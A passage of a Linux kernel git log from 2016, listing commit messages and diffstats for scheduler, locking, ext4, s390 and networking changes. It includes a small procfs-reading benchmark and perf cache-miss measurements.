Signed-off-by: Nikolay Borisov Signed-off-by: Peter Zijlstra (Intel) Cc: Andrew Morton Cc: Linus Torvalds Cc: Paul E. McKenney Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: hpa@zytor.com Link: http://lkml.kernel.org/r/1474913478-17757-1-git-send-email-n.borisov.lkml@gmail.com Signed-off-by: Ingo Molnar arch/x86/include/asm/cmpxchg.h | 44 ------------------------------------------ 1 file changed, 44 deletions(-) commit cfd8983f03c7b2f977faab8dfc4ec5f6dbf9c1f3 Author: Peter Zijlstra Date: Wed May 18 20:43:02 2016 +0200 x86, locking/spinlocks: Remove ticket (spin)lock implementation We've unconditionally used the queued spinlock for many releases now. Its time to remove the old ticket lock code. Signed-off-by: Peter Zijlstra (Intel) Cc: Andrew Morton Cc: Linus Torvalds Cc: Paul E. McKenney Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: Waiman Long Cc: Waiman.Long@hpe.com Cc: david.vrabel@citrix.com Cc: dhowells@redhat.com Cc: pbonzini@redhat.com Cc: xen-devel@lists.xenproject.org Link: http://lkml.kernel.org/r/20160518184302.GO3193@twins.programming.kicks-ass.net Signed-off-by: Ingo Molnar arch/x86/Kconfig | 3 +- arch/x86/include/asm/paravirt.h | 18 --- arch/x86/include/asm/paravirt_types.h | 7 - arch/x86/include/asm/spinlock.h | 174 ----------------------- arch/x86/include/asm/spinlock_types.h | 13 -- arch/x86/kernel/kvm.c | 245 --------------------------------- arch/x86/kernel/paravirt-spinlocks.c | 7 - arch/x86/kernel/paravirt_patch_32.c | 4 +- arch/x86/kernel/paravirt_patch_64.c | 4 +- arch/x86/xen/spinlock.c | 250 +--------------------------------- 10 files changed, 6 insertions(+), 719 deletions(-) commit 0b429e18c284af3e7a39f8ec44d95116c473fef8 Merge: d32cdbf 53061af Author: Ingo Molnar Date: Fri Sep 30 10:54:46 2016 +0200 Merge branch 'linus' into locking/core, to pick up fixes Signed-off-by: Ingo Molnar commit 0e369d757578b23ac50b893f920aa50fdbc45fb6 Author: Peter Zijlstra Date: Mon May 9 10:38:01 2016 +0200 sched/core: Replace sd_busy/nr_busy_cpus with sched_domain_shared Move the nr_busy_cpus thing from its hacky sd->parent->groups->sgc location into the much more natural sched_domain_shared location. Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-kernel@vger.kernel.org Signed-off-by: Ingo Molnar include/linux/sched.h | 1 + kernel/sched/core.c | 10 +++++----- kernel/sched/fair.c | 22 ++++++++++++---------- kernel/sched/sched.h | 6 +----- 4 files changed, 19 insertions(+), 20 deletions(-) commit 24fc7edb92eea05946119cc0258c891c26b3b469 Author: Peter Zijlstra Date: Mon May 9 10:37:59 2016 +0200 sched/core: Introduce 'struct sched_domain_shared' Since struct sched_domain is strictly per cpu; introduce a structure that is shared between all 'identical' sched_domains. Limit to SD_SHARE_PKG_RESOURCES domains for now, as we'll only use it for shared cache state; if another use comes up later we can easily relax this. While the sched_group's are normally shared between CPUs, these are not natural to use when we need some shared state on a domain level -- since that would require the domain to have a parent, which is not a given. Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-kernel@vger.kernel.org Signed-off-by: Ingo Molnar include/linux/sched.h | 6 ++++++ kernel/sched/core.c | 44 +++++++++++++++++++++++++++++++++++++++----- 2 files changed, 45 insertions(+), 5 deletions(-) commit 16f3ef46805a5ffc75549deac2ff6af08bdf590b Author: Peter Zijlstra Date: Mon May 9 10:37:57 2016 +0200 sched/core: Restructure destroy_sched_domain() There is no point in doing a call_rcu() for each domain, only do a callback for the root sched domain and clean up the entire set in one go. Also make the entire call chain be called destroy_sched_domain*() to remove confusion with the free_sched_domains() call, which does an entirely different thing. Both cpu_attach_domain() callers of destroy_sched_domain() can live without the call_rcu() because at those points the sched_domain hasn't been published yet. Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-kernel@vger.kernel.org Signed-off-by: Ingo Molnar kernel/sched/core.c | 18 +++++++++++------- 1 file changed, 11 insertions(+), 7 deletions(-) commit f39180efe5737af8467139bf8af7ca27057be87f Author: Peter Zijlstra Date: Mon May 9 10:37:54 2016 +0200 sched/core: Remove unused @cpu argument from destroy_sched_domain*() Small cleanup; nothing uses the @cpu argument so make it go away. Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-kernel@vger.kernel.org Signed-off-by: Ingo Molnar kernel/sched/core.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 0176beaffbe9ed627b6a4dfa61d640f1a848086f Author: Oleg Nesterov Date: Tue Sep 6 16:00:55 2016 +0200 sched/wait: Introduce init_wait_entry() The partial initialization of wait_queue_t in prepare_to_wait_event() looks ugly. This was done to shrink .text, but we can simply add the new helper which does the full initialization and shrink the compiled code a bit more. And. This way prepare_to_wait_event() can have more users. In particular we are ready to remove the signal_pending_state() checks from wait_bit_action_f helpers and change __wait_on_bit_lock() to use prepare_to_wait_event(). Signed-off-by: Oleg Nesterov Signed-off-by: Peter Zijlstra (Intel) Cc: Al Viro Cc: Bart Van Assche Cc: Johannes Weiner Cc: Linus Torvalds Cc: Mike Galbraith Cc: Neil Brown Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/20160906140055.GA6167@redhat.com Signed-off-by: Ingo Molnar include/linux/wait.h | 9 +++------ kernel/sched/wait.c | 12 +++++++++--- 2 files changed, 12 insertions(+), 9 deletions(-) commit eaf9ef52241b545fe63621266bfc6fd8b06559ff Author: Oleg Nesterov Date: Tue Sep 6 16:00:53 2016 +0200 sched/wait: Avoid abort_exclusive_wait() in __wait_on_bit_lock() __wait_on_bit_lock() doesn't need abort_exclusive_wait() too. Right now it can't use prepare_to_wait_event() (see the next change), but it can do the additional finish_wait() if action() fails. abort_exclusive_wait() no longer has callers, remove it. Signed-off-by: Oleg Nesterov Signed-off-by: Peter Zijlstra (Intel) Cc: Al Viro Cc: Bart Van Assche Cc: Johannes Weiner Cc: Linus Torvalds Cc: Mike Galbraith Cc: Neil Brown Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/20160906140053.GA6164@redhat.com Signed-off-by: Ingo Molnar include/linux/wait.h | 1 - kernel/sched/wait.c | 64 +++++++++++++++++----------------------------------- 2 files changed, 21 insertions(+), 44 deletions(-) commit b1ea06a90f528e516929a4da1d9b8838752bceb9 Author: Oleg Nesterov Date: Thu Sep 8 18:48:15 2016 +0200 sched/wait: Avoid abort_exclusive_wait() in ___wait_event() ___wait_event() doesn't really need abort_exclusive_wait(), we can simply change prepare_to_wait_event() to remove the waiter from q->task_list if it was interrupted. This simplifies the code/logic, and this way prepare_to_wait_event() can have more users, see the next change. Signed-off-by: Oleg Nesterov Signed-off-by: Peter Zijlstra (Intel) Cc: Al Viro Cc: Bart Van Assche Cc: Johannes Weiner Cc: Linus Torvalds Cc: Mike Galbraith Cc: Neil Brown Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/20160908164815.GA18801@redhat.com Signed-off-by: Ingo Molnar -- include/linux/wait.h | 7 +------ kernel/sched/wait.c | 35 +++++++++++++++++++++++++---------- 2 files changed, 26 insertions(+), 16 deletions(-) include/linux/wait.h | 7 +------ kernel/sched/wait.c | 35 +++++++++++++++++++++++++---------- 2 files changed, 26 insertions(+), 16 deletions(-) commit 38a3e1fc1dac480f3672ab22fc97e1f995c80ed7 Author: Oleg Nesterov Date: Tue Sep 6 16:00:47 2016 +0200 sched/wait: Fix abort_exclusive_wait(), it should pass TASK_NORMAL to wake_up() Otherwise this logic only works if mode is "compatible" with another exclusive waiter. If some wq has both TASK_INTERRUPTIBLE and TASK_UNINTERRUPTIBLE waiters, abort_exclusive_wait() won't wait an uninterruptible waiter. The main user is __wait_on_bit_lock() and currently it is fine but only because TASK_KILLABLE includes TASK_UNINTERRUPTIBLE and we do not have lock_page_interruptible() yet. Just use TASK_NORMAL and remove the "mode" arg from abort_exclusive_wait(). Yes, this means that (say) wake_up_interruptible() can wake up the non- interruptible waiter(s), but I think this is fine. And in fact I think that abort_exclusive_wait() must die, see the next change. Signed-off-by: Oleg Nesterov Signed-off-by: Peter Zijlstra (Intel) Cc: Al Viro Cc: Bart Van Assche Cc: Johannes Weiner Cc: Linus Torvalds Cc: Mike Galbraith Cc: Neil Brown Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/20160906140047.GA6157@redhat.com Signed-off-by: Ingo Molnar include/linux/wait.h | 6 +++--- kernel/sched/wait.c | 8 +++----- 2 files changed, 6 insertions(+), 8 deletions(-) commit ab522e33f91799661aad47bebb691f241a9f6bb8 Author: Dietmar Eggemann Date: Mon Aug 22 15:00:41 2016 +0100 sched/fair: Fix fixed point arithmetic width for shares and effective load Since commit: 2159197d6677 ("sched/core: Enable increased load resolution on 64-bit kernels") we now have two different fixed point units for load: - 'shares' in calc_cfs_shares() has 20 bit fixed point unit on 64-bit kernels. Therefore use scale_load() on MIN_SHARES. - 'wl' in effective_load() has 10 bit fixed point unit. Therefore use scale_load_down() on tg->shares which has 20 bit fixed point unit on 64-bit kernels. Signed-off-by: Dietmar Eggemann Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/1471874441-24701-1-git-send-email-dietmar.eggemann@arm.com Signed-off-by: Ingo Molnar kernel/sched/fair.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 8f37961cf22304fb286c7604d3a7f6104dcc1283 Author: Tim Chen Date: Wed Sep 21 12:19:03 2016 -0700 sched/core, x86/topology: Fix NUMA in package topology bug Current code can call set_cpu_sibling_map() and invoke sched_set_topology() more than once (e.g. on CPU hot plug). When this happens after sched_init_smp() has been called, we lose the NUMA topology extension to sched_domain_topology in sched_init_numa(). This results in incorrect topology when the sched domain is rebuilt. This patch fixes the bug and issues warning if we call sched_set_topology() after sched_init_smp(). Signed-off-by: Tim Chen Signed-off-by: Srinivas Pandruvada Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: bp@suse.de Cc: jolsa@redhat.com Cc: rjw@rjwysocki.net Link: http://lkml.kernel.org/r/1474485552-141429-2-git-send-email-srinivas.pandruvada@linux.intel.com Signed-off-by: Ingo Molnar arch/x86/kernel/smpboot.c | 46 ++++++++++++++++++++++++++++++---------------- kernel/sched/core.c | 3 +++ 2 files changed, 33 insertions(+), 16 deletions(-) commit 536e0e81e0b04305ce40f6cc4299d29dc9bbc673 Merge: c1fad9e 53061af Author: Ingo Molnar Date: Fri Sep 30 10:44:27 2016 +0200 Merge branch 'linus' into sched/core, to pick up fixes Signed-off-by: Ingo Molnar commit 4cd13c21b207e80ddb1144c576500098f2d5f882 Author: Eric Dumazet Date: Wed Aug 31 10:42:29 2016 -0700 softirq: Let ksoftirqd do its job A while back, Paolo and Hannes sent an RFC patch adding threaded-able napi poll loop support : (https://patchwork.ozlabs.org/patch/620657/) The problem seems to be that softirqs are very aggressive and are often handled by the current process, even if we are under stress and that ksoftirqd was scheduled, so that innocent threads would have more chance to make progress. This patch makes sure that if ksoftirq is running, we let it perform the softirq work. Jonathan Corbet summarized the issue in https://lwn.net/Articles/687617/ Tested: - NIC receiving traffic handled by CPU 0 - UDP receiver running on CPU 0, using a single UDP socket. - Incoming flood of UDP packets targeting the UDP socket. Before the patch, the UDP receiver could almost never get CPU cycles and could only receive ~2,000 packets per second. After the patch, CPU cycles are split 50/50 between user application and ksoftirqd/0, and we can effectively read ~900,000 packets per second, a huge improvement in DOS situation. (Note that more packets are now dropped by the NIC itself, since the BH handlers get less CPU cycles to drain RX ring buffer) Since the load runs in well identified threads context, an admin can more easily tune process scheduling parameters if needed. Reported-by: Paolo Abeni Reported-by: Hannes Frederic Sowa Signed-off-by: Eric Dumazet Signed-off-by: Peter Zijlstra (Intel) Cc: David Miller Cc: Hannes Frederic Sowa Cc: Jesper Dangaard Brouer Cc: Jonathan Corbet Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Rik van Riel Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/1472665349.14381.356.camel@edumazet-glaptop3.roam.corp.google.com Signed-off-by: Ingo Molnar kernel/softirq.c | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) commit bbb427e342495df1cda10051d0566388697499c0 Author: Bart Van Assche Date: Thu Sep 29 08:33:30 2016 -0700 blkcg: Unlock blkcg_pol_mutex only once when cpd == NULL Unlocking a mutex twice is wrong. Hence modify blkcg_policy_register() such that blkcg_pol_mutex is unlocked once if cpd == NULL. This patch avoids that smatch reports the following error: block/blk-cgroup.c:1378: blkcg_policy_register() error: double unlock 'mutex:&blkcg_pol_mutex' Fixes: 06b285bd1125 ("blkcg: fix blkcg_policy_data allocation bug") Signed-off-by: Bart Van Assche Cc: Tejun Heo Cc: # v4.2+ Signed-off-by: Tejun Heo block/blk-cgroup.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 1ce788d24268a33513d832d9030ceab93f1c2ce2 Author: Tang Yuantian Date: Fri Sep 30 14:13:13 2016 +0800 ahci: qoriq: Revert "ahci: qoriq: Disable NCQ on ls2080a SoC" This reverts commit 640847298e2b7f19 ("ahci: qoriq: Disable NCQ on ls2080a SoC") The erratum has been fixed in ls2080a v2.0 and later soc. In reality, customer will not get any ls2080a v1.0 soc. Neither apply to any products. So reverting this commit won't create any side effect. Blacklisting v2.0 could also be a option, but that needs to check the soc version which is not suitable in the driver. Signed-off-by: Tang Yuantian Signed-off-by: Tejun Heo drivers/ata/ahci_qoriq.c | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) commit 6736e65effc3a5a866cf8a03cda9ad277b712d3f Author: Paul Gortmaker Date: Mon Sep 19 17:01:38 2016 -0400 m68k: Migrate exception table users off module.h and onto extable.h This file was only including module.h for exception table related functions. We've now separated that content out into its own file "extable.h" so now move over to that and avoid all the extra header content in module.h that we don't really need to compile this. Signed-off-by: Paul Gortmaker Signed-off-by: Geert Uytterhoeven arch/m68k/kernel/signal.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 265a44bbf23e4ed1c76409f07595ea88351ba4b3 Author: David Howells Date: Fri Sep 30 08:50:42 2016 +0100 rxrpc: Actually display the tx_data trace retransmission note Actually display in the tx_data trace the retransmission note added in a previous patch. Signed-off-by: David Howells include/trace/events/rxrpc.h | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 6cd997db911f28f2510b771691270c52b63ed2e6 Author: Sascha Silbe Date: Tue Sep 20 19:09:07 2016 +0200 s390/con3270: fix insufficient space padding con3270 contains an optimisation that reduces the amount of data to be transmitted to the 3270 terminal by putting a Repeat to Address (RA) order into the data stream. The RA order itself takes up space, so con3270 only uses it if there's enough space left in the line buffer. Otherwise it just pads out the line manually. For lines that were _just_ short enough that the RA order still fit in the line buffer, the line was instead padded with an insufficient amount of spaces. This was caused by examining the size of the allocated line buffer rather than the length of the string to be displayed. For con3270_cline_end(), we just compare against the line length. For con3270_update_string() however that isn't available anymore, so we check whether the Repeat to Address order is present. Fixes: f51320a5 ("[PATCH] s390: new 3270 driver.") (tglx/history.git) Tested-by: Jing Liu Tested-by: Yang Chen Signed-off-by: Sascha Silbe Signed-off-by: Martin Schwidefsky drivers/s390/char/con3270.c | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) commit c14f2aac7aa147861793eed9f41f91dd530f0be1 Author: Sascha Silbe Date: Thu Aug 11 21:34:54 2016 +0200 s390/con3270: fix use of uninitialised data con3270 contains an optimisation that reduces the amount of data to be transmitted to the 3270 terminal by putting a Repeat to Address (RA) order into the data stream. The RA order itself takes up space, so con3270 only uses it if there's enough space left in the line buffer. Otherwise it just pads out the line manually. For lines too long to include the RA order, one byte was left uninitialised. This was caused by an off-by-one bug in the loop that pads out the line. Since the buffer is allocated from a common pool, the single byte left uninitialised contained some previous buffer content. Usually this was just a space or some character (which can result in clutter but is otherwise harmless). Sometimes, however, it was a Repeat to Address order, messing up the entire screen layout and causing the display to send the entire buffer content on every keystroke. Fixes: f51320a5 ("[PATCH] s390: new 3270 driver.") (tglx/history.git) Reported-by: Liu Jing Tested-by: Jing Liu Tested-by: Yang Chen Signed-off-by: Sascha Silbe Signed-off-by: Martin Schwidefsky drivers/s390/char/con3270.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 38b7f07a0503271cf8e08399ecda7063c371a181 Author: Stefan Haberland Date: Thu Sep 29 12:13:53 2016 +0200 MAINTAINERS: update DASD maintainer Signed-off-by: Stefan Haberland Signed-off-by: Martin Schwidefsky MAINTAINERS | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit d53c51f26145657aa7c55fa396f93677e613548d Author: Sebastian Ott Date: Wed Sep 28 13:36:19 2016 +0200 s390/cio: fix accidental interrupt enabling during resume Since commit 9f3d6d7 chsc_get_channel_measurement_chars is called with interrupts disabled during resume from hibernate. Since this function used spin_unlock_irq, interrupts have been enabled accidentally. Fix this by using the irqsave variant. Since we can't guarantee the IRQ-enablement state for all (future/ external) callers, change the locking in related functions to prevent similar bugs in the future. Fixes: 9f3d6d7 ("s390/cio: update measurement characteristics") Signed-off-by: Sebastian Ott Reviewed-by: Peter Oberparleiter Signed-off-by: Martin Schwidefsky drivers/s390/cio/chsc.c | 20 ++++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) commit 18017479cabaeb5c659d789f04ecf7939f8ee28f Author: Eric Engestrom Date: Fri Sep 30 02:14:56 2016 -0400 ext4: remove unused variable Signed-off-by: Eric Engestrom fs/ext4/dir.c | 3 +-- fs/ext4/page-io.c | 4 +--- 2 files changed, 2 insertions(+), 5 deletions(-) commit 803783849fed11e38a30f31932c02c815520da70 Author: Calvin Owens Date: Wed Sep 28 21:46:39 2016 -0700 mlx5: Add ndo_poll_controller() implementation This implements ndo_poll_controller in net_device_ops callbacks for mlx5, which is necessary to use netconsole with this driver. Acked-By: Saeed Mahameed Signed-off-by: Calvin Owens Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/en_main.c | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) commit 6cd80b55471515e0102760b59034ded000c35a09 Author: Jakub Kicinski Date: Wed Sep 28 23:47:37 2016 +0100 nfp: bpf: zero extend 4 byte context loads Set upper 32 bits of destination register to zeros after load from the context structure. Signed-off-by: Jakub Kicinski Signed-off-by: David S. Miller drivers/net/ethernet/netronome/nfp/nfp_bpf_jit.c | 2 ++ 1 file changed, 2 insertions(+) commit 3c816ded78bbd645d61ee36f461deb8376d3723a Author: Eric Whitney Date: Fri Sep 30 02:08:49 2016 -0400 ext4: use journal inode to determine journal overhead When a file system contains an internal journal that has not been loaded, use the journal inode's i_size field to determine its contribution to the file system's overhead. (The journal's j_maxlen field is normally used to determine its size, but it's unavailable when the journal has not been loaded.) Signed-off-by: Eric Whitney Signed-off-by: Theodore Ts'o fs/ext4/super.c | 19 +++++++++++++++++-- 1 file changed, 17 insertions(+), 2 deletions(-) commit c6cb7e776ad59feba5d84b2524efd6dcbc618e42 Author: Eric Whitney Date: Fri Sep 30 02:05:09 2016 -0400 ext4: create function to read journal inode Factor out the code used in ext4_get_journal() to read a valid journal inode from storage, enabling its reuse in other functions. Signed-off-by: Eric Whitney Signed-off-by: Theodore Ts'o fs/ext4/super.c | 32 +++++++++++++++++++++++--------- 1 file changed, 23 insertions(+), 9 deletions(-) commit 9b623df614576680cadeaa4d7e0b5884de8f7c17 Author: Jan Kara Date: Fri Sep 30 02:02:29 2016 -0400 ext4: unmap metadata when zeroing blocks When zeroing blocks for DAX allocations, we also have to unmap aliases in the block device mappings. Otherwise writeback can overwrite zeros with stale data from block device page cache. Signed-off-by: Jan Kara Signed-off-by: Theodore Ts'o Cc: stable@kernel.org fs/ext4/inode.c | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) commit 51e8137b82622d8ea22e993d613db568f11c1523 Author: Jan Kara Date: Fri Sep 30 01:57:41 2016 -0400 ext4: remove plugging from ext4_file_write_iter() do_blockdev_direct_IO() takes care of properly plugging direct IO so there's no need to plug again inside ext4_file_write_iter(). Signed-off-by: Jan Kara Signed-off-by: Theodore Ts'o fs/ext4/file.c | 4 ---- 1 file changed, 4 deletions(-) commit 5038056e6bd45788235e97e3bcfc43f96c52ca84 Author: David Decotigny Date: Wed Sep 28 11:00:04 2016 -0700 mlx4: remove unused fields This also can address following UBSAN warnings: [ 36.640343] ================================================================================ [ 36.648772] UBSAN: Undefined behaviour in drivers/net/ethernet/mellanox/mlx4/fw.c:857:26 [ 36.656853] shift exponent 64 is too large for 32-bit type 'int' [ 36.663348] ================================================================================ [ 36.671783] ================================================================================ [ 36.680213] UBSAN: Undefined behaviour in drivers/net/ethernet/mellanox/mlx4/fw.c:861:27 [ 36.688297] shift exponent 35 is too large for 32-bit type 'int' [ 36.694702] ================================================================================ Tested: reboot with UBSAN, no warning. Signed-off-by: David Decotigny Acked-by: Eric Dumazet Reviewed-by: Tariq Toukan Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx4/fw.c | 4 ---- drivers/net/ethernet/mellanox/mlx4/fw.h | 2 -- 2 files changed, 6 deletions(-) commit 4b0524aae0082272737c97d2b160d55d6e8f0b2b Author: Jan Kara Date: Fri Sep 30 01:55:32 2016 -0400 ext4: allow unlocked direct IO when pages are cached Currently we do not allow unlocked (meaning without inode_lock) direct IO when the file has any pages cached. This check is not needed anymore as we keep inode lock until ext4_direct_IO_write() and thus can happily writeback and evict any pages conflicting with current direct IO write. Signed-off-by: Jan Kara Signed-off-by: Theodore Ts'o fs/ext4/file.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit bd11f0741fa5a2c296629898ad07759dd12b35bb Author: Maciej Żenczykowski Date: Tue Sep 27 23:57:58 2016 -0700 ipv6 addrconf: implement RFC7559 router solicitation backoff This implements: https://tools.ietf.org/html/rfc7559 Backoff is performed according to RFC3315 section 14: https://tools.ietf.org/html/rfc3315#section-14 We allow setting /proc/sys/net/ipv6/conf/*/router_solicitations to a negative value meaning an unlimited number of retransmits, and we make this the new default (inline with the RFC). We also add a new setting: /proc/sys/net/ipv6/conf/*/router_solicitation_max_interval defaulting to 1 hour (per RFC recommendation). Signed-off-by: Maciej Żenczykowski Acked-by: Erik Kline Signed-off-by: David S. Miller include/linux/ipv6.h | 1 + include/net/addrconf.h | 3 ++- include/net/if_inet6.h | 1 + include/uapi/linux/ipv6.h | 1 + net/ipv6/addrconf.c | 51 ++++++++++++++++++++++++++++++++++++++++------- 5 files changed, 49 insertions(+), 8 deletions(-) commit bcdc6efabda3ba6a67f4cb8915873e7d6759b7e6 Merge: fa14035 6d4a741 Author: David S. Miller Date: Fri Sep 30 01:50:57 2016 -0400 Merge branch 'net_proc_perf' Jia He says: ==================== Reduce cache miss for snmp_fold_field In a PowerPc server with large cpu number(160), besides commit a3a773726c9f ("net: Optimize snmp stat aggregation by walking all the percpu data at once"), I watched several other snmp_fold_field callsites which would cause high cache miss rate. test source code: ================ My simple test case, which read from the procfs items endlessly: /***********************************************************/ int main(int argc, char **argv) { int i; int fd = -1 ; int rdsize = 0; char buf[LINELEN+1]; buf[LINELEN] = 0; memset(buf,0,LINELEN); if(1 >= argc) { printf("file name empty\n"); return -1; } fd = open(argv[1], O_RDWR, 0644); if(0 > fd){ printf("open error\n"); return -2; } for(i=0;i<0xffffffff;i++) { while(0 < (rdsize = read(fd,buf,LINELEN))){ //nothing here } lseek(fd, 0, SEEK_SET); } close(fd); return 0; } /**********************************************************/ compile and run: ================ gcc test.c -o test perf stat -d -e cache-misses ./test /proc/net/snmp perf stat -d -e cache-misses ./test /proc/net/snmp6 perf stat -d -e cache-misses ./test /proc/net/sctp/snmp perf stat -d -e cache-misses ./test /proc/net/xfrm_stat before the patch set: ==================== Performance counter stats for 'system wide': 355911097 cache-misses [40.08%] 2356829300 L1-dcache-loads [60.04%] 355642645 L1-dcache-load-misses # 15.09% of all L1-dcache hits [60.02%] 346544541 LLC-loads [59.97%] 389763 LLC-load-misses # 0.11% of all LL-cache hits [40.02%] 6.245162638 seconds time elapsed After the patch set: =================== Performance counter stats for 'system wide': 194992476 cache-misses [40.03%] 6718051877 L1-dcache-loads [60.07%] 194871921 L1-dcache-load-misses # 2.90% of all L1-dcache hits [60.11%] 187632232 LLC-loads [60.04%] 464466 LLC-load-misses # 0.25% of all LL-cache hits [39.89%] 6.868422769 seconds time elapsed The cache-miss rate can be reduced from 15% to 2.9% changelog ========= v6: - correct v5 v5: - order local variables from longest to shortest line v4: - move memset into one block of if statement in snmp6_seq_show_item - remove the changes in netstat_seq_show considerred the stack usage is too large v3: - introduce generic interface (suggested by Marcelo Ricardo Leitner) - use max_t instead of self defined macro (suggested by David Miller) v2: - fix bug in udplite statistics. - snmp_seq_show is split into 2 parts ==================== Signed-off-by: David S. Miller commit 6d4a741cbbfa6612a479656654ca5edf7becc72c Author: Jia He Date: Fri Sep 30 11:29:04 2016 +0800 net: Suppress the "Comparison to NULL could be written" warnings This is to suppress the checkpatch.pl warning "Comparison to NULL could be written". No functional changes here. Signed-off-by: Jia He Signed-off-by: David S. Miller net/ipv4/proc.c | 32 ++++++++++++++++---------------- net/sctp/proc.c | 2 +- 2 files changed, 17 insertions(+), 17 deletions(-) commit aca05671d58cea06dc60bbe554b8b399af7da409 Author: Jia He Date: Fri Sep 30 11:29:03 2016 +0800 ipv6: Remove useless parameter in __snmp6_fill_statsdev The parameter items(is always ICMP6_MIB_MAX) is useless for __snmp6_fill_statsdev Signed-off-by: Jia He Signed-off-by: David S. Miller net/ipv6/addrconf.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 07613873f1731aa47fdf06a1cbd2e3cd1974c026 Author: Jia He Date: Fri Sep 30 11:29:02 2016 +0800 proc: Reduce cache miss in xfrm_statistics_seq_show This is to use the generic interfaces snmp_get_cpu_field{,64}_batch to aggregate the data by going through all the items of each cpu sequentially. Signed-off-by: Jia He Signed-off-by: David S. Miller net/xfrm/xfrm_proc.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) commit 7d64a94be2f9fadb1dd95742650f1fdbac69f25b Author: Jia He Date: Fri Sep 30 11:29:01 2016 +0800 proc: Reduce cache miss in sctp_snmp_seq_show This is to use the generic interfaces snmp_get_cpu_field{,64}_batch to aggregate the data by going through all the items of each cpu sequentially. Signed-off-by: Jia He Signed-off-by: David S. Miller net/sctp/proc.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit 4a4857b1c81ef39a9dc719af6b498cd39d1c1eb0 Author: Jia He Date: Fri Sep 30 11:29:00 2016 +0800 proc: Reduce cache miss in snmp6_seq_show This is to use the generic interfaces snmp_get_cpu_field{,64}_batch to aggregate the data by going through all the items of each cpu sequentially. Signed-off-by: Jia He Signed-off-by: David S. Miller net/ipv6/proc.c | 30 ++++++++++++++++++++++-------- 1 file changed, 22 insertions(+), 8 deletions(-) commit f22d5c490990ecb6f4eb70c4ed478fc8cea78fe1 Author: Jia He Date: Fri Sep 30 11:28:59 2016 +0800 proc: Reduce cache miss in snmp_seq_show This is to use the generic interfaces snmp_get_cpu_field{,64}_batch to aggregate the data by going through all the items of each cpu sequentially. Then snmp_seq_show is split into 2 parts to avoid build warning "the frame size" larger than 1024. Signed-off-by: Jia He Signed-off-by: David S. Miller net/ipv4/proc.c | 70 ++++++++++++++++++++++++++++++++++++++------------------- 1 file changed, 47 insertions(+), 23 deletions(-) commit 6348ef2dbbd96c4488a1ee83cc0f0f3d9a314a2f Author: Jia He Date: Fri Sep 30 11:28:58 2016 +0800 net:snmp: Introduce generic interfaces for snmp_get_cpu_field{, 64} This is to introduce the generic interfaces for snmp_get_cpu_field{,64}. It exchanges the two for-loops for collecting the percpu statistics data. This can aggregate the data by going through all the items of each cpu sequentially. Signed-off-by: Jia He Suggested-by: Marcelo Ricardo Leitner Signed-off-by: David S. Miller include/net/ip.h | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) commit 9a200d075e5d05be1fcad4547a0f8aee4e2f9a04 Author: Richard Weinberger Date: Fri Sep 30 01:49:55 2016 -0400 ext4: require encryption feature for EXT4_IOC_SET_ENCRYPTION_POLICY ...otherwise an user can enable encryption for certain files even when the filesystem is unable to support it. Such a case would be a filesystem created by mkfs.ext4's default settings, 1KiB block size. Ext4 supports encyption only when block size is equal to PAGE_SIZE. But this constraint is only checked when the encryption feature flag is set. Signed-off-by: Richard Weinberger Signed-off-by: Theodore Ts'o fs/ext4/ioctl.c | 3 +++ 1 file changed, 3 insertions(+) commit fa1403548daf3a2c8c988f89db1053df70200405 Merge: 4e9f4b3 ed1e867 Author: David S. Miller Date: Fri Sep 30 01:46:36 2016 -0400 Merge tag 'rxrpc-rewrite-20160929' of git://git.kernel.org/pub/scm/linux/kernel/git/dhowells/linux-fs David Howells says: ==================== rxrpc: Fixes and adjustments This set of patches contains some fixes and adjustments: (1) Connections for exclusive calls are being reused because the check to work out whether to set RXRPC_CONN_DONT_REUSE is checking where the parameters will be copied to (but haven't yet). (2) Make Tx loss-injection go through the normal return, so the state gets set correctly for what the code thinks it has done. Note lost Tx packets in the tx_data trace rather than the skb tracepoint. (3) Activate channels according to 